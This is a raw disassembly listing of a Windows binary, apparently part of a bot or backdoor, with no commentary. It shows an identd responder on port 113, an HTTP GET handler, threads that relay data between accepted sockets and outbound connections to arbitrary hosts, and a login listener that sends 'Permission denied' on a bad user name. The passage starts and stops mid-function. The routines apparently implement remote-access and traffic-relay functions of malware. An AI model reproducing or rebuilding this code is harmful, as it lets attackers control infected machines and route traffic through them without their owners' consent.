		cmp	eax, 0FFFFFFFFh
		jz	loc_413187
		mov	edx, [ebp+74h+var_128]
		xor	ecx, ecx
		cmp	edx, ebx
		jbe	short loc_412F3C


loc_412F2E:				; CODE XREF: sub_412DD9+161j
		cmp	[ebp+ecx*4+74h+var_124], eax
		jz	short loc_412F3C
		inc	ecx
		cmp	ecx, edx
		jb	short loc_412F2E


loc_412F3C:				; CODE XREF: sub_412DD9+153j
					; sub_412DD9+15Cj
		cmp	ecx, edx
		jnz	short loc_412F52
		cmp	edx, 40h
		jnb	short loc_412F52
		mov	[ebp+ecx*4+74h+var_124], eax


loc_412F4C:				; DATA XREF: .rdata:off_439424o
		inc	[ebp+74h+var_128]


loc_412F52:				; CODE XREF: sub_412DD9+165j
					; sub_412DD9+16Aj
		cmp	eax, [ebp+74h+var_C]
		jbe	loc_413187
		mov	[ebp+74h+var_C], eax
		jmp	loc_413187
; ---------------------------------------------------------------------------


loc_412F63:				; CODE XREF: sub_412DD9+123j
		mov	edi, 1000h
		push	edi		; Size
		lea	eax, [ebp+74h+Str]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		push	edi		; Size
		lea	eax, [ebp+74h+Str1]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 18h
		push	ebx
		push	edi
		lea	eax, [ebp+74h+Str]
		push	eax
		push	esi
		call	dword_444064	; recv
		test	eax, eax
		jg	short loc_412FEC
		push	esi
		call	dword_444218	; closesocket
		xor	eax, eax
		cmp	[ebp+74h+var_128], ebx
		jbe	loc_413187


loc_412FB0:				; CODE XREF: sub_412DD9+1E7j
		cmp	[ebp+eax*4+74h+var_124], esi
		jz	short loc_412FD6
		inc	eax
		cmp	eax, [ebp+74h+var_128]
		jb	short loc_412FB0
		jmp	loc_413187
; ---------------------------------------------------------------------------


loc_412FC7:				; CODE XREF: sub_412DD9+206j
		mov	ecx, [ebp+eax*4+74h+var_120]
		mov	[ebp+eax*4+74h+var_124], ecx
		inc	eax


loc_412FD6:				; CODE XREF: sub_412DD9+1DEj
		mov	ecx, [ebp+74h+var_128]
		dec	ecx
		cmp	eax, ecx
		jb	short loc_412FC7
		dec	[ebp+74h+var_128]
		jmp	loc_413187
; ---------------------------------------------------------------------------


loc_412FEC:				; CODE XREF: sub_412DD9+1C0j
		push	104h		; Size
		lea	eax, [ebp+74h+var_340]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		lea	eax, [ebp+74h+Str]
		push	eax		; Str
		mov	[ebp+74h+var_4], ebx
		xor	esi, esi
		call	_strlen
		add	esp, 10h
		test	eax, eax
		jbe	loc_413187


loc_41301A:				; CODE XREF: sub_412DD9+2F9j
		mov	eax, [ebp+74h+var_4]
		mov	al, [ebp+eax+74h+Str]
		cmp	al, 0Ah
		mov	[ebp+esi+74h+Str1], al
		jnz	loc_4130BE
		mov	esi, offset aGet_0 ; "GET "
		lea	eax, [ebp+74h+Str1]
		push	esi		; SubStr
		push	eax		; Str
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_413093
		lea	eax, [ebp+74h+Str1]
		push	eax		; Str
		call	_strlen
		cmp	eax, 5
		pop	ecx
		jbe	short loc_413093
		mov	eax, offset asc_42FE58 ; " "
		push	eax		; Delim
		push	eax		; SubStr
		lea	eax, [ebp+74h+Str1]
		push	esi		; SubStr
		push	eax		; Str
		call	_strstr
		pop	ecx
		pop	ecx
		push	eax		; Str
		call	_strstr
		pop	ecx
		pop	ecx
		push	eax		; Str
		call	_strtok
		push	eax		; Source
		lea	eax, [ebp+74h+var_340]
		push	eax		; Dest
		call	_strcpy
		add	esp, 10h
		jmp	short loc_4130AA
; ---------------------------------------------------------------------------


loc_413093:				; CODE XREF: sub_412DD9+270j
					; sub_412DD9+282j
		lea	eax, [ebp+74h+Str1]
		push	offset asc_434A60 ; "\r\n"
		push	eax		; Str1
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_4130DD


loc_4130AA:				; CODE XREF: sub_412DD9+2B8j
		push	edi		; Size
		lea	eax, [ebp+74h+Str1]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_4130BE:				; CODE XREF: sub_412DD9+254j
		inc	[ebp+74h+var_4]
		lea	eax, [ebp+74h+Str]
		push	eax		; Str
		inc	esi
		call	_strlen
		cmp	[ebp+74h+var_4], eax
		pop	ecx
		jb	loc_41301A
		jmp	loc_413187
; ---------------------------------------------------------------------------


loc_4130DD:				; CODE XREF: sub_412DD9+2CFj
		mov	ecx, [ebp+74h+var_128]
		xor	eax, eax
		cmp	ecx, ebx
		jbe	short loc_41311C


loc_4130E9:				; CODE XREF: sub_412DD9+31Fj
		mov	edx, [ebp+eax*4+74h+var_124]
		cmp	edx, [ebp+74h+arg_0]
		jz	short loc_413111
		inc	eax
		cmp	eax, ecx
		jb	short loc_4130E9
		jmp	short loc_41311C
; ---------------------------------------------------------------------------


loc_4130FC:				; CODE XREF: sub_412DD9+33Bj
		mov	ecx, [ebp+eax*4+74h+var_120]
		mov	[ebp+eax*4+74h+var_124], ecx
		mov	ecx, [ebp+74h+var_128]
		inc	eax


loc_413111:				; CODE XREF: sub_412DD9+31Aj
		dec	ecx
		cmp	eax, ecx
		jb	short loc_4130FC
		dec	[ebp+74h+var_128]


loc_41311C:				; CODE XREF: sub_412DD9+30Ej
					; sub_412DD9+321j
		lea	eax, [ebp+74h+var_464]
		push	eax		; Str
		call	_strlen
		mov	esi, eax
		lea	eax, [ebp+74h+var_340]
		push	eax		; Str
		call	_strlen
		add	esi, eax
		cmp	esi, 104h
		pop	ecx
		pop	ecx
		jnb	short loc_41317E
		lea	eax, [ebp+74h+var_4]
		push	eax
		push	8004667Eh
		push	[ebp+74h+arg_0]
		mov	[ebp+74h+var_4], ebx
		call	dword_444094	; ioctlsocket
		push	[ebp+74h+var_358]
		lea	eax, [ebp+74h+var_340]
		push	[ebp+74h+var_34C]
		push	eax
		lea	eax, [ebp+74h+var_464]
		push	eax
		push	[ebp+74h+arg_0]
		call	sub_412B2A
		add	esp, 14h
		jmp	short loc_413187
; ---------------------------------------------------------------------------


loc_41317E:				; CODE XREF: sub_412DD9+367j
		push	[ebp+74h+arg_0]
		call	dword_444218	; closesocket


loc_413187:				; CODE XREF: sub_412DD9+11Aj
					; sub_412DD9+143j ...
		mov	esi, [ebp+74h+arg_0]
		inc	esi
		cmp	esi, [ebp+74h+var_C]
		mov	[ebp+74h+arg_0], esi
		jbe	loc_412EE3
		push	41h
		pop	ecx
		push	ebx
		push	ebx
		lea	eax, [ebp+74h+var_23C]
		push	ebx
		push	eax
		mov	eax, [ebp+74h+var_C]
		jmp	loc_412EBF
; ---------------------------------------------------------------------------


loc_4131AC:				; CODE XREF: sub_412DD9+FFj
		mov	edi, [ebp+74h+var_8]


loc_4131AF:				; CODE XREF: sub_412DD9+6Cj
					; sub_412DD9+94j ...
		call	dword_4441C4	; WSAGetLastError
		push	eax
		lea	eax, [ebp+74h+Dest]
		push	offset asc_434A38 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+74h+var_350], ebx
		jnz	short loc_4131F5
		push	ebx		; int
		push	[ebp+74h+var_354] ; int
		lea	eax, [ebp+74h+Dest]
		push	eax		; int
		lea	eax, [ebp+74h+var_6EC]
		push	eax		; Str
		push	[ebp+74h+var_6F0] ; int
		call	sub_40123B
		add	esp, 14h


loc_4131F5:				; CODE XREF: sub_412DD9+3F7j
		lea	eax, [ebp+74h+Dest]
		push	eax
		call	sub_417D70
		pop	ecx
		push	edi
		call	dword_444218	; closesocket
		push	[ebp+74h+var_358]
		call	sub_40B149
		pop	ecx
		push	ebx
		call	ds:dword_42B068	; ExitThread
		int	3		; Trap to Debugger
sub_412DD9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41321D	proc near		; DATA XREF: sub_40274D+406Co
					; WinMain(x,x,x,x)+42Co

Str		= byte ptr -238h
Dest		= byte ptr -38h
var_2C		= byte ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
Dst		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	edi
		xor	esi, esi
		push	edi		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		mov	[ebp+var_8], esi
		call	_memset
		add	esp, 0Ch
		push	71h
		mov	[ebp+Dst], 2
		call	dword_444260	; htons
		push	esi
		push	1
		push	2
		mov	[ebp+var_1A], ax
		mov	[ebp+var_18], esi
		call	dword_444100	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_413390
		mov	eax, [ebp+arg_0]
		imul	eax, 234h
		mov	dword_4444F4[eax], ebx
		push	edi
		lea	eax, [ebp+Dst]
		push	eax
		push	ebx
		call	dword_4441E4	; bind
		cmp	eax, 0FFFFFFFFh
		jz	loc_413390
		push	5
		push	ebx
		call	dword_444230	; listen
		cmp	eax, 0FFFFFFFFh
		jz	loc_413390
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		mov	[ebp+var_C], edi
		call	dword_4440BC	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_413390
		mov	edi, 200h


loc_4132C3:				; CODE XREF: sub_41321D+168j
		movzx	eax, [ebp+var_2A]
		push	eax
		push	[ebp+var_28]
		call	dword_444188	; inet_ntoa
		push	eax
		lea	eax, [ebp+Str]
		push	offset asc_434AB0 ; "-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Str]
		push	eax
		call	sub_417D70
		add	esp, 14h
		push	esi
		push	edi
		lea	eax, [ebp+Str]
		push	eax
		push	[ebp+var_4]
		call	dword_444064	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413370
		lea	eax, [ebp+Str]
		push	esi		; int
		push	eax		; Str
		call	sub_41AC0E
		push	0Ch		; Size
		lea	eax, [ebp+Dest]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		push	esi		; Str1
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	2		; int
		push	eax		; Dest
		call	sub_40AB83
		push	eax
		push	offset aUseridUnixS ; "	: USERID : UNIX	: %s\r\n"
		lea	eax, [ebp+Str]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 34h
		lea	eax, [ebp+Str]
		push	esi
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		push	[ebp+var_4]
		call	dword_4441A0	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413370
		mov	[ebp+var_8], 1


loc_413370:				; CODE XREF: sub_41321D+EAj
					; sub_41321D+14Aj
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		call	dword_4440BC	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	loc_4132C3
		cmp	[ebp+var_8], esi
		jnz	short loc_4133B7


loc_413390:				; CODE XREF: sub_41321D+47j
					; sub_41321D+6Bj ...
		call	dword_4441C4	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Str]
		push	offset asc_434A6C ; "-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Str]
		push	eax
		call	sub_417D70
		add	esp, 10h


loc_4133B7:				; CODE XREF: sub_41321D+171j
		push	ebx
		call	dword_444218	; closesocket
		push	[ebp+var_4]
		call	dword_444218	; closesocket
		push	[ebp+arg_0]
		call	sub_40B149
		pop	ecx
		push	esi
		call	ds:dword_42B068	; ExitThread
		int	3		; Trap to Debugger
sub_41321D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4133D8	proc near		; DATA XREF: sub_413483+132o

Dst		= byte ptr -1128h
var_128		= byte ptr -128h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	__alloca_probe
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_128]
		rep movsd
		mov	edi, 1000h
		push	edi		; Size
		mov	dword ptr [eax+124h], 1
		xor	ebx, ebx
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		mov	esi, [ebp+var_14]
		imul	esi, 234h
		jmp	short loc_41344A
; ---------------------------------------------------------------------------


loc_413422:				; CODE XREF: sub_4133D8+8Cj
		push	ebx
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		push	dword_4444F4[esi]
		call	dword_4441A0	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413466
		push	edi		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset


loc_41344A:				; CODE XREF: sub_4133D8+48j
		add	esp, 0Ch
		push	ebx
		push	edi
		lea	eax, [ebp+Dst]
		push	eax
		push	dword_4444F8[esi]
		call	dword_444064	; recv
		cmp	eax, ebx
		jg	short loc_413422


loc_413466:				; CODE XREF: sub_4133D8+62j
		push	dword_4444F8[esi]
		call	dword_444218	; closesocket
		push	[ebp+var_14]
		call	sub_40B149
		pop	ecx
		push	ebx
		call	ds:dword_42B068	; ExitThread
		int	3		; Trap to Debugger
sub_4133D8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame fpd=74h


sub_413483	proc near		; DATA XREF: sub_41366C+126o

var_1344	= byte ptr -1344h
Source		= byte ptr -344h
var_144		= byte ptr -144h
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
Dst		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	eax, 1344h
		lea	ebp, [esp-74h]
		call	__alloca_probe
		mov	eax, [ebp+74h+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+74h+var_144]
		rep movsd
		mov	edi, [ebp+74h+var_30]
		xor	ecx, ecx
		inc	ecx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		mov	[ebp+74h+var_4], edi
		call	dword_444100	; socket
		mov	esi, eax
		xor	ebx, ebx
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+74h+arg_0], esi
		jz	loc_4135E8
		push	10h		; Size
		lea	eax, [ebp+74h+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		push	[ebp+74h+var_3C]
		mov	[ebp+74h+Dst], 2
		call	dword_444260	; htons
		mov	[ebp+74h+var_16], ax
		lea	eax, [ebp+74h+var_13C]
		push	eax
		call	dword_44417C	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+74h+var_8], eax
		jnz	short loc_413515
		lea	eax, [ebp+74h+var_13C]
		push	eax
		call	dword_444168	; gethostbyname
		jmp	short loc_413523
; ---------------------------------------------------------------------------


loc_413515:				; CODE XREF: sub_413483+81j
		push	2
		push	4
		lea	eax, [ebp+74h+var_8]
		push	eax
		call	dword_4441FC	; gethostbyaddr


loc_413523:				; CODE XREF: sub_413483+90j
		cmp	eax, ebx
		jz	loc_4135E8
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+74h+var_14], eax
		push	10h
		lea	eax, [ebp+74h+Dst]
		push	eax
		push	esi
		call	dword_4440AC	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_4135E8
		push	[ebp+74h+var_34]
		movzx	eax, [ebp+74h+var_16]
		push	eax
		push	[ebp+74h+var_14]
		mov	[ebp+74h+var_20], ebx
		call	dword_444188	; inet_ntoa
		push	eax
		lea	eax, [ebp+74h+Source]
		push	offset asc_434B20 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+74h+Source]
		push	18h		; int
		push	eax		; Source
		call	sub_40AE85
		imul	edi, 234h
		mov	ecx, [ebp+74h+var_34]
		mov	[ebp+74h+var_30], eax
		imul	eax, 234h
		mov	dword_4444EC[eax], ecx
		add	esp, 20h
		lea	edi, dword_4444F4[edi]
		mov	ecx, [edi]
		mov	dword_4444F8[eax], ecx
		lea	eax, [ebp+74h+var_1C]
		push	eax
		push	ebx
		lea	eax, [ebp+74h+var_144]
		push	eax
		push	offset sub_4133D8
		push	ebx
		push	ebx
		call	ds:dword_42B03C	; CreateThread
		mov	ecx, [ebp+74h+var_30]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4444FC[ecx], eax
		jnz	short loc_41361E
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset asc_434AE0 ; "-"
		call	sub_417DE4
		pop	ecx
		pop	ecx


loc_4135E8:				; CODE XREF: sub_413483+46j
					; sub_413483+A2j ...
		mov	eax, [ebp+74h+var_4]
		imul	eax, 234h
		push	dword_4444F4[eax]
		call	dword_444218	; closesocket
		push	[ebp+74h+arg_0]
		call	dword_444218	; closesocket
		push	[ebp+74h+var_4]
		call	sub_40B149
		pop	ecx
		push	ebx
		call	ds:dword_42B068	; ExitThread


loc_413616:				; CODE XREF: sub_413483+19Ej
		push	32h
		call	ds:dword_42B014	; Sleep


loc_41361E:				; CODE XREF: sub_413483+150j
		cmp	[ebp+74h+var_20], ebx
		jz	short loc_413616
		mov	esi, 1000h
		jmp	short loc_413641
; ---------------------------------------------------------------------------


loc_41362A:				; CODE XREF: sub_413483+1E2j
		push	ebx
		push	eax
		lea	eax, [ebp+74h+var_1344]
		push	eax
		push	[ebp+74h+arg_0]
		call	dword_4441A0	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4135E8


loc_413641:				; CODE XREF: sub_413483+1A5j
		push	esi		; Size
		lea	eax, [ebp+74h+var_1344]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		push	ebx
		push	esi
		lea	eax, [ebp+74h+var_1344]
		push	eax
		push	dword ptr [edi]
		call	dword_444064	; recv
		cmp	eax, ebx
		jg	short loc_41362A
		jmp	loc_4135E8
sub_413483	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_41366C	proc near		; DATA XREF: sub_40274D+5E41o

Source		= byte ptr -350h
var_150		= byte ptr -150h
var_14C		= dword	ptr -14Ch
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_30		= dword	ptr -30h
var_28		= byte ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= byte ptr -18h
Dst		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 350h
		mov	eax, [ebp+74h+arg_0]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		push	10h
		lea	edi, [ebp+74h+var_150]
		rep movsd
		pop	edi
		push	edi		; Size
		mov	dword ptr [eax+120h], 1
		xor	esi, esi
		lea	eax, [ebp+74h+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		push	[ebp+74h+var_44]
		mov	[ebp+74h+Dst], 2
		call	dword_444260	; htons
		push	6
		push	1
		push	2
		mov	[ebp+74h+var_12], ax
		mov	[ebp+74h+var_10], esi
		mov	[ebp+74h+var_4], edi
		call	dword_444100	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+74h+arg_0], eax
		jz	loc_4137D9
		mov	ecx, [ebp+74h+var_40]
		imul	ecx, 234h
		push	1
		push	401h
		push	esi
		push	eax
		mov	dword_4444F4[ecx], eax
		call	dword_444194	; WSAAsyncSelect
		push	edi
		lea	eax, [ebp+74h+Dst]
		push	eax
		push	[ebp+74h+arg_0]
		call	dword_4441E4	; bind
		test	eax, eax
		jnz	loc_4137D9
		push	0Ah
		push	[ebp+74h+arg_0]
		call	dword_444230	; listen
		test	eax, eax
		jnz	loc_4137D9


loc_41371E:				; CODE XREF: sub_41366C+C8j
					; sub_41366C+168j
		lea	eax, [ebp+74h+var_4]
		push	eax
		lea	eax, [ebp+74h+var_28]
		push	eax
		push	[ebp+74h+arg_0]
		call	dword_4440BC	; accept
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41371E
		push	[ebp+74h+var_40]
		movzx	eax, [ebp+74h+var_26]
		push	eax
		push	[ebp+74h+var_24]
		mov	[ebp+74h+var_14C], edi
		mov	[ebp+74h+var_30], esi
		call	dword_444188	; inet_ntoa
		push	eax
		lea	eax, [ebp+74h+Source]
		push	offset asc_434BA0 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	edi		; int
		lea	eax, [ebp+74h+Source]
		push	18h		; int
		push	eax		; Source
		call	sub_40AE85
		mov	ecx, [ebp+74h+var_40]
		mov	[ebp+74h+var_3C], eax
		imul	eax, 234h
		add	esp, 20h
		mov	dword_4444EC[eax], ecx
		lea	eax, [ebp+74h+var_18]
		push	eax
		push	esi
		lea	eax, [ebp+74h+var_150]
		push	eax
		push	offset sub_413483
		push	esi
		push	esi
		call	ds:dword_42B03C	; CreateThread
		mov	ecx, [ebp+74h+var_3C]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_4444FC[ecx], eax
		jnz	short loc_4137CF
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset asc_434B64 ; "-"
		call	sub_417DE4
		pop	ecx
		pop	ecx
		jmp	short loc_4137DC
; ---------------------------------------------------------------------------


loc_4137C7:				; CODE XREF: sub_41366C+166j
		push	32h
		call	ds:dword_42B014	; Sleep


loc_4137CF:				; CODE XREF: sub_41366C+144j
		cmp	[ebp+74h+var_30], esi
		jz	short loc_4137C7
		jmp	loc_41371E
; ---------------------------------------------------------------------------


loc_4137D9:				; CODE XREF: sub_41366C+65j
					; sub_41366C+99j ...
		mov	edi, [ebp+74h+arg_0]


loc_4137DC:				; CODE XREF: sub_41366C+159j
		push	edi
		call	dword_444218	; closesocket
		push	[ebp+74h+arg_0]
		call	dword_444218	; closesocket
		push	[ebp+74h+var_40]
		call	sub_40B149
		pop	ecx
		push	esi
		call	ds:dword_42B068	; ExitThread
		int	3		; Trap to Debugger
sub_41366C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4137FD	proc near		; CODE XREF: sub_413848+A3p
					; sub_413848+B3p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, eax


loc_413804:				; CODE XREF: sub_4137FD+2Aj
		push	0
		push	1
		lea	eax, [ebp+var_1]
		push	eax
		push	[ebp+arg_0]
		call	dword_444064	; recv
		cmp	eax, 1
		jnz	short loc_41383A
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_4]
		jz	short loc_41382F
		test	al, al
		jnz	short loc_413804
		xor	eax, eax
		inc	eax


loc_41382C:				; CODE XREF: sub_4137FD+3Fj
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_41382F:				; CODE XREF: sub_4137FD+26j
		push	offset asc_434BE8 ; "-"
		call	sub_417DE4
		pop	ecx


loc_41383A:				; CODE XREF: sub_4137FD+1Bj
		xor	eax, eax
		jmp	short loc_41382C
sub_4137FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41383E	proc near		; DATA XREF: sub_413A51+5Co

arg_0		= dword	ptr  4

		xor	eax, eax
		cmp	[esp+arg_0], eax
		setz	al
		retn
sub_41383E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_413848	proc near		; DATA XREF: sub_413A51+1A6o

var_3D4		= byte ptr -3D4h
Str1		= byte ptr -350h
var_208		= dword	ptr -208h
var_1F4		= dword	ptr -1F4h
var_1F0		= dword	ptr -1F0h
var_F0		= byte ptr -0F0h
Dest		= byte ptr -0B0h
var_4C		= byte ptr -4Ch
var_3C		= byte ptr -3Ch
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
Args		= byte ptr -1Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 3D4h
		mov	eax, [ebp+74h+arg_0]
		push	ebx
		push	esi
		push	edi
		push	78h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+74h+var_3D4]
		rep movsd
		mov	esi, [ebp+74h+var_208]
		mov	[ebp+74h+arg_0], esi
		imul	esi, 234h
		xor	ebx, ebx
		inc	ebx
		mov	[eax+1DCh], ebx
		mov	eax, dword_4444F4[esi]
		mov	[ebp+74h+var_1F0], eax
		xor	edi, edi
		lea	eax, [ebp+74h+var_C]
		push	eax
		push	edi
		push	edi
		lea	eax, [ebp+74h+var_1F4]
		push	eax
		push	edi
		mov	[ebp+74h+var_C], 1Eh
		mov	[ebp+74h+var_8], edi
		mov	[ebp+74h+var_1F4], ebx
		call	dword_4441B0	; select
		test	eax, eax
		jnz	short loc_4138CE
		push	dword_4444F4[esi]


loc_4138BA:				; CODE XREF: sub_413848+19Fj
		call	dword_444218	; closesocket
		push	[ebp+74h+arg_0]
		call	sub_40B149
		pop	ecx
		jmp	loc_413A49
; ---------------------------------------------------------------------------


loc_4138CE:				; CODE XREF: sub_413848+6Aj
		push	edi
		push	ebx
		lea	eax, [ebp+74h+var_3C]
		push	eax
		push	dword_4444F4[esi]
		call	dword_444064	; recv
		push	10h
		push	dword_4444F4[esi]
		lea	eax, [ebp+74h+Args]
		call	sub_4137FD
		push	10h
		push	dword_4444F4[esi]
		lea	eax, [ebp+74h+var_4C]
		call	sub_4137FD
		push	40h
		push	dword_4444F4[esi]
		lea	eax, [ebp+74h+var_F0]
		call	sub_4137FD
		add	esp, 18h
		lea	eax, [ebp+74h+var_4]
		push	eax
		lea	eax, [ebp+74h+var_2C]
		push	eax
		push	dword_4444F4[esi]
		mov	[ebp+74h+var_4], 10h
		call	dword_444148	; getpeername
		test	eax, eax
		jz	short loc_413953
		call	dword_4441C4	; WSAGetLastError
		push	eax		; Args
		push	offset asc_434CE0 ; "-"
		call	sub_417DE4
		push	[ebp+74h+arg_0]
		call	sub_40B149
		add	esp, 0Ch
		jmp	loc_413A49
; ---------------------------------------------------------------------------


loc_413953:				; CODE XREF: sub_413848+E8j
		push	2
		push	4
		lea	eax, [ebp+74h+var_28]
		push	eax
		call	dword_4441FC	; gethostbyaddr
		cmp	eax, edi
		jnz	short loc_41397A
		push	[ebp+74h+var_28]
		call	dword_444188	; inet_ntoa
		push	eax		; Format
		lea	eax, [ebp+74h+Dest]
		push	eax		; Dest
		call	_sprintf
		jmp	short loc_413985
; ---------------------------------------------------------------------------


loc_41397A:				; CODE XREF: sub_413848+11Bj
		push	dword ptr [eax]	; Source
		lea	eax, [ebp+74h+Dest]
		push	eax		; Dest
		call	_strcpy


loc_413985:				; CODE XREF: sub_413848+130j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset byte_42B633
		push	dword_4444F4[esi]
		call	dword_4441A0	; send
		cmp	dword_4D5268, edi
		jnz	short loc_4139EC
		lea	eax, [ebp+74h+Args]
		push	eax		; Str2
		lea	eax, [ebp+74h+Str1]
		push	eax		; Str1
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_4139EC
		lea	eax, [ebp+74h+Dest]
		push	eax
		lea	eax, [ebp+74h+Args]
		push	eax		; Args
		push	offset asc_434C14 ; "-"
		call	sub_417DE4
		add	esp, 0Ch
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword_4444F4[esi]
		call	dword_4441A0	; send
		push	dword_4444F4[esi]
		jmp	loc_4138BA
; ---------------------------------------------------------------------------


loc_4139EC:				; CODE XREF: sub_413848+158j
					; sub_413848+16Ej
		lea	eax, [ebp+74h+Dest]
		push	eax
		lea	eax, [ebp+74h+Args]
		push	eax		; Args
		push	offset asc_434CA4 ; "-"
		call	sub_417DE4
		push	[ebp+74h+arg_0]
		call	sub_414056
		add	esp, 10h
		test	eax, eax
		jnz	short loc_413A2C
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax		; Args
		push	offset asc_434C78 ; "-"
		call	sub_417DE4
		push	[ebp+74h+arg_0]
		call	sub_40B149
		add	esp, 0Ch
		push	ebx
		jmp	short loc_413A4A
; ---------------------------------------------------------------------------


loc_413A2C:				; CODE XREF: sub_413848+1C3j
		lea	eax, [ebp+74h+Dest]
		push	eax
		lea	eax, [ebp+74h+Args]
		push	eax		; Args
		push	offset asc_434C4C ; "-"
		call	sub_417DE4
		push	[ebp+74h+arg_0]
		call	sub_40B149
		add	esp, 10h


loc_413A49:				; CODE XREF: sub_413848+81j
					; sub_413848+106j
		push	edi


loc_413A4A:				; CODE XREF: sub_413848+1E2j
		call	ds:dword_42B068	; ExitThread
		int	3		; Trap to Debugger
sub_413848	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

